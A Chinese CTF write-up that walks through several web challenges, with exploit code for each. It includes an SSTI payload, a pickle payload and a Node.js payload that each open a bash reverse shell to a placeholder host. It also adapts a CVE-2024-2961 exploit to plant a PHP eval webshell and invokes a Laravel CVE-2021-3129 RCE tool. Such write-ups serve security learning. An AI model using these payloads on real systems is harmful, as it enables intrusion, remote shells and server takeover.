学弟们太强了
口算
1s内算式,使用python算就行(直接使用eval不安全,大家不要学),然后可以得到hint:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| @app.route('/')
def index(solved=0):
global current_expr
# 前端计算
.....
.....
# 通过计算
username = 'ctfer!'
if request.args.get('username'):
username = request.args.get('username')
if whitelist_filter(username,whitelist_patterns):
if blacklist_filter(username):
return render_template_string("filtered")
else:
print("你过关!")
else:
return render_template_string("filtered")
return render_template('index.html', username=username, hint="f4dd790b-bc4e-48de-b717-903d433c597f")
|
可以看到有一个ssti盲打,主要是空格等被过滤了,用十六进制绕过,因为popen
里面还有一段python代码需要执行,因此需要eval
:
(明明hint中是get参数,结果实际上是post,懵了半天)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| import requests
session = requests.Session()
res = session.get("http://192.168.18.28/calc")
c = res.text
print(c)
result = eval(c)
print(result)
cmd='cat /flag'
cmd=cmd.encode('utf-8').hex()
data = {"username":"{{g.pop.__globals__.__builtins__['eval'](\"__import__('os').popen(bytes.fromhex('636174202f666c6167').decode()).read()\")}}"}
print(data)
res = session.post("http://192.168.18.28/?Submit=%E6%8F%90%E4%BA%A4&answer="+str(result),data=data)
print(res.text)
|
ez_python
扫出一个login路由,爆破得到账号test:123456
,返回一个token:
1
| eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidGVzdCIsInJvbGUiOiJ0ZXN0IiwiZXhwIjoxNzMxMTIwMTQ5fQ.OXE4Os6vL6dZ8KyWeH-CUDKmIBSvUIv15luP8VqXF8o
|
直接爆破可以得到密钥a123456
,修改jwt为admin之后返回“听说ser有点东西”
访问ser路由得到一个pickle反序列化
随便找个payload打就行:
1
2
3
4
| (S'bash -c "bash -i >& /dev/tcp/xxx/8888 0>&1"'
ios
system
.
|
1
| {"pickled":"KFMnYmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC94eHgvODg4OCAwPiYxIicNCmlvcw0Kc3lzdGVtDQou"}
|
not admin
源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
| const express = require('express');
const bodyParser = require('body-parser');
const jwt = require('jsonwebtoken');
let { User } = require('./user');
const crypto = require('crypto');
const path = require('path')
const app = express();
const port = 3000;
app.set('view engine', 'ejs');
app.set('views', path.join(__dirname, 'views'));
app.use(express.static('public'));
app.use(bodyParser.urlencoded({ extended: true }));
app.use(express.json());
const tmp_user = {}
function authenticateToken(req, res, next) {
const authHeader = req.headers['authorization'];
const token = authHeader;
if (tmp_user.secretKey == undefined) {
tmp_user.secretKey = crypto.randomBytes(16).toString('hex');
}
if (!token) {
return res.redirect('/login');
}
try {
const decoded = jwt.verify(token, tmp_user.secretKey);
req.user = decoded;
next();
} catch (ex) {
return res.status(400).send('Invalid token.');
}
}
const merge = (a, b) => {
for (var c in b) {
console.log(JSON.stringify(b[c]));
if (check(b[c])) {
if (a.hasOwnProperty(c) && b.hasOwnProperty(c) && typeof a[c] === 'object' && typeof b[c] === 'object') {
merge(a[c], b[c]);
} else {
a[c] = b[c];
}
} else {
return 0
}
}
return a
}
console.log(tmp_user.secretKey)
var check = function (str) {
let input = /const|var|let|return|subprocess|Array|constructor|load|push|mainModule|from|buffer|process|child_process|main|require|exec|this|eval|while|for|function|hex|char|base|"|'|\\|\[|\+|\*/ig;
if (typeof str === 'object' && str !== null) {
for (let key in str) {
if (!check(key)) {
return false;
}
if (!check(str[key])) {
return false;
}
}
return true;
} else {
return !input.test(str);
}
};
app.get('/login', (req, res) => {
res.render('login')
});
app.post('/login', (req, res) => {
if (merge(tmp_user, req.body)) {
if (tmp_user.secretKey == undefined) {
tmp_user.secretKey = crypto.randomBytes(16).toString('hex');
}
if (User.verifyLogin(tmp_user.password)) {
const token = jwt.sign({ username: tmp_user.username }, tmp_user.secretKey);
res.send(`Login successful! Token: ${token}\nBut nothing happend~`);
} else {
res.send('Login failed!');
}
} else {
res.send("Hacker denied!")
}
});
app.get('/', (req, res) => {
authenticateToken(req, res, () => {
backcode = eval(tmp_user.code)
res.send("something happend~")
});
});
app.listen(port, () => {
console.log(`Server running at http://localhost:${port}`);
});
|
本来以为是原型链污染,结果仔细看了下merge的时候直接改就行,不用原型链
首先注意到authenticateToken
函数只是单纯验证secretKey,而secretKey是我们可以修改的,因此我们可以先发包修改secretKey:
1
| username=admin&password=123456&secretKey=1234
|
然后用自己的key生成一个jwt:
1
| eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImsxdGUifQ.Pzma-LxIRrefIx88I6DLGsUz7Mh1Syc5b5WodL59AlE
|
然后拿这个jwt通过authenticateToken
函数即可:
接着是绕过check
函数,只需要对其进行覆盖即可:
1
| code=check=(str)=>true;
|
使用payloadrequire('child_process').execSync('sleep 3')
可以确定已经rce了
最后因为没有回显,反弹shell:
1
| code=require('child_process').execSync('bash -c "bash -i >& /dev/tcp/xxx/8888 0>&1"')
|
fileread
给源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
| <?php
class cls1{
var $cls;
var $arr;
function show(){
show_source(__FILE__);
}
function __wakeup(){
foreach($this->arr as $k => $v)
echo $this->cls->$v;
}
}
class cls2{
var $filename = 'hello.php';
var $txt = '';
function __get($key){
var_dump($key);
if($key == 'fileput')
return $this->fileput();
else
return '<p>'.htmlspecialchars($key).'</p>';
}
function fileput(){
echo 'Your file:'.file_get_contents($this->filename);
}
}
if(!empty($_GET)){
$cls = base64_decode($_GET['ser']);
$instance = unserialize($cls);
}else{
$a = new cls1();
$a->show();
}
?>
|
首先是一个简单的反序列化,链子:
1
| cls1->__wakeup()==>cls2->__get()==>cls2->fileput()
|
反序列化脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
| <?php
class cls1{
var $cls;
var $arr;
function __construct($filename){
$this->cls = new cls2($filename);
$this->arr = array("fileput");
}
function show(){
show_source(__FILE__);
}
function __wakeup(){
foreach($this->arr as $k => $v)
echo $this->cls->$v;
}
}
class cls2{
var $filename;
var $txt = '';
function __construct($filename){
$this->filename = $filename;
}
function __get($key){
var_dump($key);
if($key == 'fileput')
return $this->fileput();
else
return '<p>'.htmlspecialchars($key).'</p>';
}
function fileput(){
echo 'Your file:'.file_get_contents($this->filename);
}
}
// if(!empty($_GET)){
// $cls = base64_decode($_GET['ser']);
// $instance = unserialize($cls);
// }else{
// $a = new cls1();
// $a->show();
// }
if ($argc === 1){
$filename = $argv[0];
echo base64_encode(serialize(new cls1($filename)));
}
|
打过去发现没权限,使用cnext,参考vulhub/php/CVE-2024-2961/README.zh-cn.md at master · vulhub/vulhub,exp来自:https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py,这里只修改了Remote类:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
| class Remote:
"""A helper class to send the payload and download files.
The logic of the exploit is always the same, but the exploit needs to know how to
download files (/proc/self/maps and libc) and how to send the payload.
The code here serves as an example that attacks a page that looks like:
`php
<?php
$data = file_get_contents($_POST['file']);
echo "File contents: $data";
`
Tweak it to fit your target, and start the exploit.
"""
def __init__(self, url: str) -> None:
self.url = url
self.session = Session()
def send(self, path: str) -> Response:
"""Sends given `path` to the HTTP server. Returns the response.
"""
# return self.session.post(self.url, data={"file": path})
result = subprocess.run(['php', 'ser.php', path], capture_output=True, text=True)
# print(result)
payload = result.stdout
return self.session.get(self.url, params={"ser": payload})
def download(self, path: str) -> bytes:
"""Returns the contents of a remote file.
"""
path = f"php://filter/convert.base64-encode/resource={path}"
response = self.send(path)
data = response.re.search(b"Your file:(.*)", flags=re.S).group(1)
return base64.decode(data)
|
命令行:
1
| python my-cnext.py http://target-ip/ "echo '<?=@eval(\$_POST[1]);?>' > shell.php"
|
LookUp
java不会(在学了在学了:sob:)
ezLaravel
根据版本找到CVE-2021-3129,参考vulhub/laravel/CVE-2021-3129 at master · vulhub/vulhub,用工具直接打就行
1
| python CVE-2021-3129.py --chain Laravel/RCE12 --host "http://target-ip/" --force
|